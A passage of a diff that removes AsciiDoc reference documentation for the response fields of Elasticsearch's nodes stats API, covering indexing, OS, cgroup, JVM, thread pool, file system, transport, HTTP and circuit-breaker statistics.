-`missing_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing failed get operations.
-
-`current`::
-(integer)
-Number of get operations currently running.
-=======
-
-`search`::
-(object)
-Contains statistics about search operations for the node.
-+
-.Properties of `search`
-[%collapsible%open]
-=======
-`open_contexts`::
-(integer)
-Number of open search contexts.
-
-`query_total`::
-(integer)
-Total number of query operations.
-
-`query_time`::
-(<<time-units,time value>>)
-Time spent performing query operations.
-
-`query_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing query operations.
-
-`query_current`::
-(integer)
-Number of query operations currently running.
-
-`fetch_total`::
-(integer)
-Total number of fetch operations.
-
-`fetch_time`::
-(<<time-units,time value>>)
-Time spent performing fetch operations.
-
-`fetch_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing fetch operations.
-
-`fetch_current`::
-(integer)
-Number of fetch operations currently running.
-
-`scroll_total`::
-(integer)
-Total number of scroll operations.
-
-`scroll_time`::
-(<<time-units,time value>>)
-Time spent performing scroll operations.
-
-`scroll_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing scroll operations.
-
-`scroll_current`::
-(integer)
-Number of scroll operations currently running.
-
-`suggest_total`::
-(integer)
-Total number of suggest operations.
-
-`suggest_time`::
-(<<time-units,time value>>)
-Time spent performing suggest operations.
-
-`suggest_time_in_millis`::
-(integer)
-Time in milliseconds
-spent performing suggest operations.
-
-`suggest_current`::
-(integer)
-Number of suggest operations currently running.
-=======
-
-`merges`::
-(object)
-Contains statistics about merge operations for the node.
-+
-.Properties of `merges`
-[%collapsible%open]
-=======
-`current`::
-(integer)
-Number of merge operations currently running.
-
-`current_docs`::
-(integer)
-Number of document merges currently running.
-
-`current_size`::
-(<<byte-units,byte value>>)
-Memory used performing current document merges.
-
-`current_size_in_bytes`::
-(integer)
-Memory, in bytes, used performing current document merges.
-
-`total`::
-(integer)
-Total number of merge operations.
-
-`total_time`::
-(<<time-units,time value>>)
-Total time spent performing merge operations.
-
-`total_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing merge operations.
-
-`total_docs`::
-(integer)
-Total number of merged documents.
-
-`total_size`::
-(<<byte-units,byte value>>)
-Total size of document merges.
-
-`total_size_in_bytes`::
-(integer)
-Total size of document merges in bytes.
-
-`total_stopped_time`::
-(<<time-units,time value>>)
-Total time spent stopping merge operations.
-
-`total_stopped_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent stopping merge operations.
-
-`total_throttled_time`::
-(<<time-units,time value>>)
-Total time spent throttling merge operations.
-
-`total_throttled_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent throttling merge operations.
-
-`total_auto_throttle`::
-(<<byte-units,byte value>>)
-Size of automatically throttled merge operations.
-
-`total_auto_throttle_in_bytes`::
-(integer)
-Size, in bytes, of automatically throttled merge operations.
-=======
-
-`refresh`::
-(object)
-Contains statistics about refresh operations for the node.
-+
-.Properties of `refresh`
-[%collapsible%open]
-=======
-`total`::
-(integer)
-Total number of refresh operations.
-
-`total_time`::
-(<<time-units,time value>>)
-Total time spent performing refresh operations.
-
-`total_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing refresh operations.
-
-`external_total`::
-(integer)
-Total number of external refresh operations.
-
-`external_total_time`::
-(<<time-units,time value>>)
-Total time spent performing external operations.
-
-`external_total_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing external operations.
-
-`listeners`::
-(integer)
-Number of refresh listeners.
-=======
-
-`flush`::
-(object)
-Contains statistics about flush operations for the node.
-+
-.Properties of `flush`
-[%collapsible%open]
-=======
-`total`::
-(integer)
-Number of flush operations.
-
-`periodic`::
-(integer)
-Number of flush periodic operations.
-
-`total_time`::
-(<<time-units,time value>>)
-Total time spent performing flush operations.
-
-`total_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing flush operations.
-=======
-
-`warmer`::
-(object)
-Contains statistics about index warming operations for the node.
-+
-.Properties of `warmer`
-[%collapsible%open]
-=======
-`current`::
-(integer)
-Number of active index warmers.
-
-`total`::
-(integer)
-Total number of index warmers.
-
-`total_time`::
-(<<time-units,time value>>)
-Total time spent performing index warming operations.
-
-`total_time_in_millis`::
-(integer)
-Total time in milliseconds
-spent performing index warming operations.
-=======
-
-`query_cache`::
-(object)
-Contains statistics about the query cache across all shards assigned to the
-node.
-+
-.Properties of `query_cache`
-[%collapsible%open]
-=======
-`memory_size`::
-(<<byte-units,byte value>>)
-Total amount of memory used for the query cache across all shards assigned to
-the node.
-
-`memory_size_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for the query cache across all shards
-assigned to the node.
-
-`total_count`::
-(integer)
-Total count of hits, misses, and cached queries
-in the query cache.
-
-`hit_count`::
-(integer)
-Number of query cache hits.
-
-`miss_count`::
-(integer)
-Number of query cache misses.
-
-`cache_size`::
-(integer)
-Size, in bytes, of the query cache.
-
-`cache_count`::
-(integer)
-Count of queries
-in the query cache.
-
-`evictions`::
-(integer)
-Number of query cache evictions.
-=======
-
-`fielddata`::
-(object)
-Contains statistics about the field data cache across all shards
-assigned to the node.
-+
-.Properties of `fielddata`
-[%collapsible%open]
-=======
-`memory_size`::
-(<<byte-units,byte value>>)
-Total amount of memory used for the field data cache across all shards
-assigned to the node.
-
-`memory_size_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for the field data cache across all
-shards assigned to the node.
-
-`evictions`::
-(integer)
-Number of fielddata evictions.
-=======
-
-`completion`::
-(object)
-Contains statistics about completions across all shards assigned to the node.
-+
-.Properties of `completion`
-[%collapsible%open]
-=======
-`size`::
-(<<byte-units,byte value>>)
-Total amount of memory used for completion across all shards assigned to
-the node.
-
-`size_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for completion across all shards assigned
-to the node.
-=======
-
-`segments`::
-(object)
-Contains statistics about segments across all shards assigned to the node.
-+
-.Properties of `segments`
-[%collapsible%open]
-=======
-`count`::
-(integer)
-Number of segments.
-
-`memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for segments across all shards assigned to the
-node.
-
-`memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for segments across all shards assigned
-to the node.
-
-`terms_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for terms across all shards assigned to the node.
-
-`terms_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for terms across all shards assigned to
-the node.
-
-`stored_fields_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for stored fields across all shards assigned to
-the node.
-
-`stored_fields_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for stored fields across all shards
-assigned to the node.
-
-`term_vectors_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for term vectors across all shards assigned to
-the node.
-
-`term_vectors_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for term vectors across all shards
-assigned to the node.
-
-`norms_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for normalization factors across all shards assigned
-to the node.
-
-`norms_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for normalization factors across all
-shards assigned to the node.
-
-`points_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for points across all shards assigned to the node.
-
-`points_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for points across all shards assigned to
-the node.
-
-`doc_values_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used for doc values across all shards assigned to
-the node.
-
-`doc_values_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used for doc values across all shards assigned
-to the node.
-
-`index_writer_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used by all index writers across all shards assigned to
-the node.
-
-`index_writer_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used by all index writers across all shards
-assigned to the node.
-
-`version_map_memory`::
-(<<byte-units,byte value>>)
-Total amount of memory used by all version maps across all shards assigned to
-the node.
-
-`version_map_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used by all version maps across all shards
-assigned to the node.
-
-`fixed_bit_set`::
-(<<byte-units,byte value>>)
-Total amount of memory used by fixed bit sets across all shards assigned to
-the node.
-+
-Fixed bit sets are used for nested object field types and
-type filters for <<parent-join,join>> fields.
-
-`fixed_bit_set_memory_in_bytes`::
-(integer)
-Total amount of memory, in bytes, used by fixed bit sets across all shards
-assigned to the node.
-+
-Fixed bit sets are used for nested object field types and
-type filters for <<parent-join,join>> fields.
-
-`max_unsafe_auto_id_timestamp`::
-(integer)
-Time of the most recently retried indexing request. Recorded in milliseconds
-since the {wikipedia}/Unix_time[Unix Epoch].
-
-`file_sizes`::
-(object)
-Contains statistics about the size of the segment file.
-+
-.Properties of `file_sizes`
-[%collapsible%open]
-========
-`size`::
-(<<byte-units,byte value>>)
-Size of the segment file.
-
-`size_in_bytes`::
-(integer)
-Size, in bytes,
-of the segment file.
-
-`description`::
-(string)
-Description of the segment file.
-========
-=======
-
-`translog`::
-(object)
-Contains statistics about transaction log operations for the node.
-+
-.Properties of `translog`
-[%collapsible%open]
-=======
-`operations`::
-(integer)
-Number of transaction log operations.
-
-`size`::
-(<<byte-units,byte value>>)
-Size of the transaction log.
-
-`size_in_bytes`::
-(integer)
-Size, in bytes, of the transaction log.
-
-`uncommitted_operations`::
-(integer)
-Number of uncommitted transaction log operations.
-
-`uncommitted_size`::
-(<<byte-units,byte value>>)
-Size of uncommitted transaction log operations.
-
-`uncommitted_size_in_bytes`::
-(integer)
-Size, in bytes, of uncommitted transaction log operations.
-
-`earliest_last_modified_age`::
-(integer)
-Earliest last modified age
-for the transaction log.
-=======
-
-`request_cache`::
-(object)
-Contains statistics about the request cache across all shards assigned to the
-node.
-+
-.Properties of `request_cache`
-[%collapsible%open]
-=======
-`memory_size`::
-(<<byte-units,byte value>>)
-Memory used by the request cache.
-
-`memory_size_in_bytes`::
-(integer)
-Memory, in bytes, used by the request cache.
-
-`evictions`::
-(integer)
-Number of request cache operations.
-
-`hit_count`::
-(integer)
-Number of request cache hits.
-
-`miss_count`::
-(integer)
-Number of request cache misses.
-=======
-
-`recovery`::
-(object)
-Contains statistics about recovery operations for the node.
-+
-.Properties of `recovery`
-[%collapsible%open]
-=======
-`current_as_source`::
-(integer)
-Number of recoveries
-that used an index shard as a source.
-
-`current_as_target`::
-(integer)
-Number of recoveries
-that used an index shard as a target.
-
-`throttle_time`::
-(<<time-units,time value>>)
-Time by which recovery operations were delayed due to throttling.
-
-`throttle_time_in_millis`::
-(integer)
-Time in milliseconds
-recovery operations were delayed due to throttling.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-os]]
-`os`::
-(object)
-Contains statistics about the operating system for the node.
-+
-.Properties of `os`
-[%collapsible%open]
-======
-`timestamp`::
-(integer)
-Last time the operating system statistics were refreshed. Recorded in
-milliseconds since the {wikipedia}/Unix_time[Unix Epoch].
-
-`cpu`::
-(object)
-Contains statistics about CPU usage for the node.
-+
-.Properties of `cpu`
-[%collapsible%open]
-=======
-`percent`::
-(integer)
-Recent CPU usage for the whole system, or `-1` if not supported.
-
-`load_average`::
-(object)
-Contains statistics about load averages on the system.
-+
-.Properties of `load_average`
-[%collapsible%open]
-========
-`1m`::
-(float)
-One-minute load average on the system (field is not present if one-minute load
-average is not available).
-
-`5m`::
-(float)
-Five-minute load average on the system (field is not present if five-minute load
-average is not available).
-
-`15m`::
-(float)
-Fifteen-minute load average on the system (field is not present if
-fifteen-minute load average is not available).
-========
-=======
-
-`mem`::
-(object)
-Contains statistics about memory usage for the node.
-+
-.Properties of `mem`
-[%collapsible%open]
-=======
-`total`::
-(<<byte-units,byte value>>)
-Total amount of physical memory.
-
-`total_in_bytes`::
-(integer)
-Total amount of physical memory in bytes.
-
-`free`::
-(<<byte-units,byte value>>)
-Amount of free physical memory.
-
-`free_in_bytes`::
-(integer)
-Amount of free physical memory in bytes.
-
-`used`::
-(<<byte-units,byte value>>)
-Amount of used physical memory.
-
-`used_in_bytes`::
-(integer)
-Amount of used physical memory in bytes.
-
-`free_percent`::
-(integer)
-Percentage of free memory.
-
-`used_percent`::
-(integer)
-Percentage of used memory.
-=======
-
-`swap`::
-(object)
-Contains statistics about swap space for the node.
-+
-.Properties of `swap`
-[%collapsible%open]
-=======
-`total`::
-(<<byte-units,byte value>>)
-Total amount of swap space.
-
-`total_in_bytes`::
-(integer)
-Total amount of swap space in bytes.
-
-`free`::
-(<<byte-units,byte value>>)
-Amount of free swap space.
-
-`free_in_bytes`::
-(integer)
-Amount of free swap space in bytes.
-
-`used`::
-(<<byte-units,byte value>>)
-Amount of used swap space.
-
-`used_in_bytes`::
-(integer)
-Amount of used swap space in bytes.
-=======
-
-`cgroup` (Linux only)::
-(object)
-Contains cgroup statistics for the node.
-+
-NOTE: For the cgroup stats to be visible, cgroups must be compiled into the
-kernel, the `cpu` and `cpuacct` cgroup subsystems must be configured and stats
-must be readable from `/sys/fs/cgroup/cpu` and `/sys/fs/cgroup/cpuacct`.
-+
-.Properties of `cgroup`
-[%collapsible%open]
-=======
-
-`cpuacct` (Linux only)::
-(object)
-Contains statistics about `cpuacct` control group for the node.
-+
-.Properties of `cpuacct`
-[%collapsible%open]
-========
-`control_group` (Linux only)::
-(string)
-The `cpuacct` control group to which the {es} process belongs.
-
-`usage_nanos` (Linux only)::
-(integer)
-The total CPU time (in nanoseconds) consumed by all tasks in the same cgroup
-as the {es} process.
-========
-
-`cpu` (Linux only)::
-(object)
-Contains statistics about `cpu` control group for the node.
-+
-.Properties of `cpu`
-[%collapsible%open]
-========
-`control_group` (Linux only)::
-(string)
-The `cpu` control group to which the {es} process belongs.
-
-`cfs_period_micros` (Linux only)::
-(integer)
-The period of time (in microseconds) for how regularly all tasks in the same
-cgroup as the {es} process should have their access to CPU resources
-reallocated.
-
-`cfs_quota_micros` (Linux only)::
-(integer)
-The total amount of time (in microseconds) for which all tasks in
-the same cgroup as the {es} process can run during one period
-`cfs_period_micros`.
-
-`stat` (Linux only)::
-(object)
-Contains CPU statistics for the node.
-+
-.Properties of `stat`
-[%collapsible%open]
-=========
-`number_of_elapsed_periods` (Linux only)::
-(integer)
-The number of reporting periods (as specified by
-`cfs_period_micros`) that have elapsed.
-
-`number_of_times_throttled` (Linux only)::
-(integer)
-The number of times all tasks in the same cgroup as the {es} process have
-been throttled.
-
-`time_throttled_nanos` (Linux only)::
-(integer)
-The total amount of time (in nanoseconds) for which all tasks in the same
-cgroup as the {es} process have been throttled.
-=========
-========
-
-`memory` (Linux only)::
-(object)
-Contains statistics about the `memory` control group for the node.
-+
-.Properties of `memory`
-[%collapsible%open]
-========
-`control_group` (Linux only)::
-(string)
-The `memory` control group to which the {es} process belongs.
-
-`limit_in_bytes` (Linux only)::
-(string)
-The maximum amount of user memory (including file cache) allowed for all
-tasks in the same cgroup as the {es} process. This value can be too big to
-store in a `long`, so is returned as a string so that the value returned can
-exactly match what the underlying operating system interface returns. Any
-value that is too large to parse into a `long` almost certainly means no
-limit has been set for the cgroup.
-
-`usage_in_bytes` (Linux only)::
-(string)
-The total current memory usage by processes in the cgroup (in bytes) by all
-tasks in the same cgroup as the {es} process. This value is stored as a
-string for consistency with `limit_in_bytes`.
-========
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-process]]
-`process`::
-(object)
-Contains process statistics for the node.
-+
-.Properties of `process`
-[%collapsible%open]
-======
-`timestamp`::
-(integer)
-Last time the statistics were refreshed. Recorded in milliseconds
-since the {wikipedia}/Unix_time[Unix Epoch].
-
-`open_file_descriptors`::
-(integer)
-Number of opened file descriptors associated with the current  or
-`-1` if not supported.
-
-`max_file_descriptors`::
-(integer)
-Maximum number of file descriptors allowed on the system, or `-1` if not
-supported.
-
-`cpu`::
-(object)
-Contains CPU statistics for the node.
-+
-.Properties of `cpu`
-[%collapsible%open]
-=======
-`percent`::
-(integer)
-CPU usage in percent, or `-1` if not known at the time the stats are
-computed.
-
-`total`::
-(<<time-units,time value>>)
-CPU time used by the process on which the Java virtual machine is running.
-
-`total_in_millis`::
-(integer)
-CPU time (in milliseconds) used by the process on which the Java virtual
-machine is running, or `-1` if not supported.
-=======
-
-`mem`::
-(object)
-Contains virtual memory statistics for the node.
-+
-.Properties of `mem`
-[%collapsible%open]
-=======
-`total_virtual`::
-(<<byte-units,byte value>>)
-Size of virtual memory that is guaranteed to be available to the
-running process.
-
-`total_virtual_in_bytes`::
-(integer)
-Size in bytes of virtual memory that is guaranteed to be available to the
-running process.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-jvm]]
-`jvm`::
-(object)
-Contains Java Virtual Machine (JVM) statistics for the node.
-+
-.Properties of `jvm`
-[%collapsible%open]
-======
-`timestamp`::
-(integer)
-Last time JVM statistics were refreshed.
-
-`uptime`::
-(<<time-units,time value>>)
-JVM uptime.
-
-`uptime_in_millis`::
-(integer)
-JVM uptime in milliseconds.
-
-`mem`::
-(object)
-Contains JVM memory usage statistics for the node.
-+
-.Properties of `mem`
-[%collapsible%open]
-=======
-`heap_used`::
-(<<byte-units,byte value>>)
-Memory currently in use by the heap.
-
-`heap_used_in_bytes`::
-(integer)
-Memory, in bytes, currently in use by the heap.
-
-`heap_used_percent`::
-(integer)
-Percentage of memory currently in use by the heap.
-
-`heap_committed`::
-(<<byte-units,byte value>>)
-Amount of memory available for use by the heap.
-
-`heap_committed_in_bytes`::
-(integer)
-Amount of memory, in bytes, available for use by the heap.
-
-`heap_max`::
-(<<byte-units,byte value>>)
-Maximum amount of memory available for use by the heap.
-
-`heap_max_in_bytes`::
-(integer)
-Maximum amount of memory, in bytes, available for use by the heap.
-
-`non_heap_used`::
-(<<byte-units,byte value>>)
-Non-heap memory used.
-
-`non_heap_used_in_bytes`::
-(integer)
-Non-heap memory used, in bytes.
-
-`non_heap_committed`::
-(<<byte-units,byte value>>)
-Amount of non-heap memory available.
-
-`non_heap_committed_in_bytes`::
-(integer)
-Amount of non-heap memory available, in bytes.
-
-`pools`::
-(object)
-Contains statistics about heap memory usage for the node.
-+
-.Properties of `pools`
-[%collapsible%open]
-========
-
-`young`::
-(object)
-Contains statistics about memory usage by the young generation heap for the
-node.
-+
-.Properties of `young`
-[%collapsible%open]
-=========
-`used`::
-(<<byte-units,byte value>>)
-Memory used by the young generation heap.
-
-`used_in_bytes`::
-(integer)
-Memory, in bytes, used by the young generation heap.
-
-`max`::
-(<<byte-units,byte value>>)
-Maximum amount of memory available for use by the young generation heap.
-
-`max_in_bytes`::
-(integer)
-Maximum amount of memory, in bytes, available for use by the young generation
-heap.
-
-`peak_used`::
-(<<byte-units,byte value>>)
-Largest amount of memory historically used by the young generation heap.
-
-`peak_used_in_bytes`::
-(integer)
-Largest amount of memory, in bytes, historically used by the young generation
-heap.
-
-`peak_max`::
-(<<byte-units,byte value>>)
-Largest amount of memory historically used by the young generation heap.
-
-`peak_max_in_bytes`::
-(integer)
-Largest amount of memory, in bytes, historically used by the young generation
-heap.
-=========
-
-`survivor`::
-(object)
-Contains statistics about memory usage by the survivor space for the node.
-+
-.Properties of `survivor`
-[%collapsible%open]
-=========
-`used`::
-(<<byte-units,byte value>>)
-Memory used by the survivor space.
-
-`used_in_bytes`::
-(integer)
-Memory, in bytes, used by the survivor space.
-
-`max`::
-(<<byte-units,byte value>>)
-Maximum amount of memory available for use by the survivor space.
-
-`max_in_bytes`::
-(integer)
-Maximum amount of memory, in bytes, available for use by the survivor space.
-
-`peak_used`::
-(<<byte-units,byte value>>)
-Largest amount of memory historically used by the survivor space.
-
-`peak_used_in_bytes`::
-(integer)
-Largest amount of memory, in bytes, historically used by the survivor space.
-
-`peak_max`::
-(<<byte-units,byte value>>)
-Largest amount of memory historically used by the survivor space.
-
-`peak_max_in_bytes`::
-(integer)
-Largest amount of memory, in bytes, historically used by the survivor space.
-=========
-
-`old`::
-(object)
-Contains statistics about memory usage by the old generation heap for the node.
-+
-.Properties of `old`
-[%collapsible%open]
-=========
-`used`::
-(<<byte-units,byte value>>)
-Memory used by the old generation heap.
-
-`used_in_bytes`::
-(integer)
-Memory, in bytes, used by the old generation heap.
-
-`max`::
-(<<byte-units,byte value>>)
-Maximum amount of memory available for use by the old generation heap.
-
-`max_in_bytes`::
-(integer)
-Maximum amount of memory, in bytes, available for use by the old generation
-heap.
-
-`peak_used`::
-(<<byte-units,byte value>>)
-Largest amount of memory historically used by the old generation heap.
-
-`peak_used_in_bytes`::
-(integer)
-Largest amount of memory, in bytes, historically used by the old generation
-heap.
-
-`peak_max`::
-(<<byte-units,byte value>>)
-Highest memory limit historically available for use by the old generation heap.
-
-`peak_max_in_bytes`::
-(integer)
-Highest memory limit, in bytes, historically available for use by the old
-generation heap.
-=========
-========
-=======
-
-`threads`::
-(object)
-Contains statistics about JVM thread usage for the node.
-+
-.Properties of `threads`
-[%collapsible%open]
-=======
-`count`::
-(integer)
-Number of active threads in use by JVM.
-
-`peak_count`::
-(integer)
-Highest number of threads used by JVM.
-=======
-
-`gc`::
-(object)
-Contains statistics about JVM garbage collectors for the node.
-+
-.Properties of `gc`
-[%collapsible%open]
-=======
-`collectors`::
-(object)
-Contains statistics about JVM garbage collectors for the node.
-+
-.Properties of `collectors`
-[%collapsible%open]
-========
-`young`::
-(object)
-Contains statistics about JVM garbage collectors that collect young generation
-objects for the node.
-+
-.Properties of `young`
-[%collapsible%open]
-=========
-`collection_count`::
-(integer)
-Number of JVM garbage collectors that collect young generation objects.
-
-`collection_time`::
-(<<time-units,time value>>)
-Total time spent by JVM collecting young generation objects.
-
-`collection_time_in_millis`::
-(integer)
-Total time in milliseconds spent by JVM collecting young generation objects.
-=========
-
-`old`::
-(object)
-Contains statistics about JVM garbage collectors that collect old generation
-objects for the node.
-+
-.Properties of `old`
-[%collapsible%open]
-=========
-`collection_count`::
-(integer)
-Number of JVM garbage collectors that collect old generation objects.
-
-`collection_time`::
-(<<time-units,time value>>)
-Total time spent by JVM collecting old generation objects.
-
-`collection_time_in_millis`::
-(integer)
-Total time in milliseconds spent by JVM collecting old generation objects.
-=========
-========
-=======
-
-`buffer_pools`::
-(object)
-Contains statistics about JVM buffer pools for the node.
-+
-.Properties of `buffer_pools`
-[%collapsible%open]
-=======
-`mapped`::
-(object)
-Contains statistics about mapped JVM buffer pools for the node.
-+
-.Properties of `mapped`
-[%collapsible%open]
-========
-`count`::
-(integer)
-Number of mapped buffer pools.
-
-`used`::
-(<<byte-units,byte value>>)
-Size of mapped buffer pools.
-
-`used_in_bytes`::
-(integer)
-Size, in bytes, of mapped buffer pools.
-
-`total_capacity`::
-(<<byte-units,byte value>>)
-Total capacity of mapped buffer pools.
-
-`total_capacity_in_bytes`::
-(integer)
-Total capacity, in bytes, of mapped buffer pools.
-========
-
-`direct`::
-(object)
-Contains statistics about direct JVM buffer pools for the node.
-+
-.Properties of `direct`
-[%collapsible%open]
-========
-`count`::
-(integer)
-Number of direct buffer pools.
-
-`used`::
-(<<byte-units,byte value>>)
-Size of direct buffer pools.
-
-`used_in_bytes`::
-(integer)
-Size, in bytes, of direct buffer pools.
-
-`total_capacity`::
-(<<byte-units,byte value>>)
-Total capacity of direct buffer pools.
-
-`total_capacity_in_bytes`::
-(integer)
-Total capacity, in bytes, of direct buffer pools.
-========
-=======
-
-`classes`::
-(object)
-Contains statistics about classes loaded by JVM for the node.
-+
-.Properties of `classes`
-[%collapsible%open]
-=======
-`current_loaded_count`::
-(integer)
-Number of classes currently loaded by JVM.
-
-`total_loaded_count`::
-(integer)
-Total number of classes loaded since the JVM started.
-
-`total_unloaded_count`::
-(integer)
-Total number of classes unloaded since the JVM started.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-threadpool]]
-`thread_pool`::
-(object)
-Contains thread pool statistics for the node
-+
-.Properties of `thread_pool`
-[%collapsible%open]
-======
-`<thread_pool_name>`::
-(object)
-Contains statistics about the thread pool for the node.
-+
-.Properties of `<thread_pool_name>`
-[%collapsible%open]
-=======
-`threads`::
-(integer)
-Number of threads in the thread pool.
-
-`queue`::
-(integer)
-Number of tasks in queue for the thread pool.
-
-`active`::
-(integer)
-Number of active threads in the thread pool.
-
-`rejected`::
-(integer)
-Number of tasks rejected by the thread pool executor.
-
-`largest`::
-(integer)
-Highest number of active threads in the thread pool.
-
-`completed`::
-(integer)
-Number of tasks completed by the thread pool executor.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-fs]]
-`fs`::
-(object)
-Contains file store statistics for the node.
-+
-.Properties of `fs`
-[%collapsible%open]
-======
-`timestamp`::
-(integer)
-Last time the file stores statistics were refreshed. Recorded in
-milliseconds since the {wikipedia}/Unix_time[Unix Epoch].
-
-`total`::
-(object)
-Contains statistics for all file stores of the node.
-+
-.Properties of `total`
-[%collapsible%open]
-=======
-`total`::
-(<<byte-units,byte value>>)
-Total size of all file stores.
-
-`total_in_bytes`::
-(integer)
-Total size (in bytes) of all file stores.
-
-`free`::
-(<<byte-units,byte value>>)
-Total unallocated disk space in all file stores.
-
-`free_in_bytes`::
-(integer)
-Total number of unallocated bytes in all file stores.
-
-`available`::
-(<<byte-units,byte value>>)
-Total disk space available to this Java virtual machine on all file
-stores. Depending on OS or process level restrictions, this might appear
-less than `free`. This is the actual amount of free disk
-space the {es} node can utilise.
-
-`available_in_bytes`::
-(integer)
-Total number of bytes available to this Java virtual machine on all file
-stores. Depending on OS or process level restrictions, this might appear
-less than `free_in_bytes`. This is the actual amount of free disk
-space the {es} node can utilise.
-=======
-
-[[cluster-nodes-stats-fs-data]]
-`data`::
-(array of objects)
-List of all file stores.
-+
-.Properties of `data`
-[%collapsible%open]
-=======
-`path`::
-(string)
-Path to the file store.
-
-`mount`::
-(string)
-Mount point of the file store (ex: /dev/sda2).
-
-`type`::
-(string)
-Type of the file store (ex: ext4).
-
-`total`::
-(<<byte-units,byte value>>)
-Total size of the file store.
-
-`total_in_bytes`::
-(integer)
-Total size (in bytes) of the file store.
-
-`free`::
-(<<byte-units,byte value>>)
-Total amount of unallocated disk space in the file store.
-
-`free_in_bytes`::
-(integer)
-Total number of unallocated bytes in the file store.
-
-`available`::
-(<<byte-units,byte value>>)
-Total amount of disk space available to this Java virtual machine on this file
-store.
-
-`available_in_bytes`::
-(integer)
-Total number of bytes available to this Java virtual machine on this file
-store.
-=======
-
-`io_stats` (Linux only)::
-(objects)
-Contains I/O statistics for the node.
-+
-.Properties of `io_stats`
-[%collapsible%open]
-=======
-`devices` (Linux only)::
-(array)
-Array of disk metrics for each device that is backing an {es} data path.
-These disk metrics are probed periodically and averages between the last
-probe and the current probe are computed.
-+
-.Properties of `devices`
-[%collapsible%open]
-========
-`device_name` (Linux only)::
-(string)
-The Linux device name.
-
-`operations` (Linux only)::
-(integer)
-The total number of read and write operations for the device completed since
-starting {es}.
-
-`read_operations` (Linux only)::
-(integer)
-The total number of read operations for the device completed since starting
-{es}.
-
-`write_operations` (Linux only)::
-(integer)
-The total number of write operations for the device completed since starting
-{es}.
-
-`read_kilobytes` (Linux only)::
-(integer)
-The total number of kilobytes read for the device since starting {es}.
-
-`write_kilobytes` (Linux only)::
-(integer)
-The total number of kilobytes written for the device since starting {es}.
-========
-
-`operations` (Linux only)::
-    (integer)
-    The total number of read and write operations across all devices used by
-    {es} completed since starting {es}.
-
-`read_operations` (Linux only)::
-    (integer)
-    The total number of read operations for across all devices used by {es}
-    completed since starting {es}.
-
-`write_operations` (Linux only)::
-    (integer)
-    The total number of write operations across all devices used by {es}
-    completed since starting {es}.
-
-`read_kilobytes` (Linux only)::
-    (integer)
-    The total number of kilobytes read across all devices used by {es} since
-    starting {es}.
-
-`write_kilobytes` (Linux only)::
-    (integer)
-    The total number of kilobytes written across all devices used by {es} since
-    starting {es}.
-=======
-======
-
-[[cluster-nodes-stats-api-response-body-transport]]
-`transport`::
-(object)
-Contains transport statistics for the node.
-+
-.Properties of `transport`
-[%collapsible%open]
-======
-`server_open`::
-(integer)
-Current number of inbound TCP connections used for internal communication between nodes.
-
-`total_outbound_connections`::
-(integer)
-The cumulative number of outbound transport connections that this node has
-opened since it started. Each transport connection may comprise multiple TCP
-connections but is only counted once in this statistic. Transport connections
-are typically <<long-lived-connections,long-lived>> so this statistic should
-remain constant in a stable cluster.
-
-`rx_count`::
-(integer)
-Total number of RX (receive) packets received by the node during internal
-cluster communication.
-
-`rx_size`::
-(<<byte-units,byte value>>)
-Size of RX packets received by the node during internal cluster communication.
-
-`rx_size_in_bytes`::
-(integer)
-Size, in bytes, of RX packets received by the node during internal cluster
-communication.
-
-`tx_count`::
-(integer)
-Total number of TX (transmit) packets sent by the node during internal cluster
-communication.
-
-`tx_size`::
-(<<byte-units,byte value>>)
-Size of TX packets sent by the node during internal cluster communication.
-
-`tx_size_in_bytes`::
-(integer)
-Size, in bytes, of TX packets sent by the node during internal cluster
-communication.
-======
-
-[[cluster-nodes-stats-api-response-body-http]]
-`http`::
-(object)
-Contains http statistics for the node.
-+
-.Properties of `http`
-[%collapsible%open]
-======
-`current_open`::
-(integer)
-Current number of open HTTP connections for the node.
-
-`total_opened`::
-(integer)
-Total number of HTTP connections opened for the node.
-======
-
-[[cluster-nodes-stats-api-response-body-breakers]]
-`breakers`::
-(object)
-Contains circuit breaker statistics for the node.
-+
-.Properties of `breakers`
-[%collapsible%open]
-======
-`<circuit_breaker_name>`::
-(object)
-Contains statistics for the circuit breaker.
-+
-.Properties of `<circuit_breaker_name>`
-[%collapsible%open]
-=======
-`limit_size_in_bytes`::
-(integer)
-Memory limit, in bytes, for the circuit breaker.
-
-`limit_size`::
-(<<byte-units,byte value>>)
-Memory limit for the circuit breaker.
-
-`estimated_size_in_bytes`::
-(integer)
-Estimated memory used, in bytes, for the operation.
-
-`estimated_size`::
-(<<byte-units,byte value>>)
-Estimated memory used for the operation.
-
-`overhead`::
-(float)
-A constant that all estimates for the circuit breaker are multiplied with to
-calculate a final estimate.
-
-`tripped`::
-(integer)
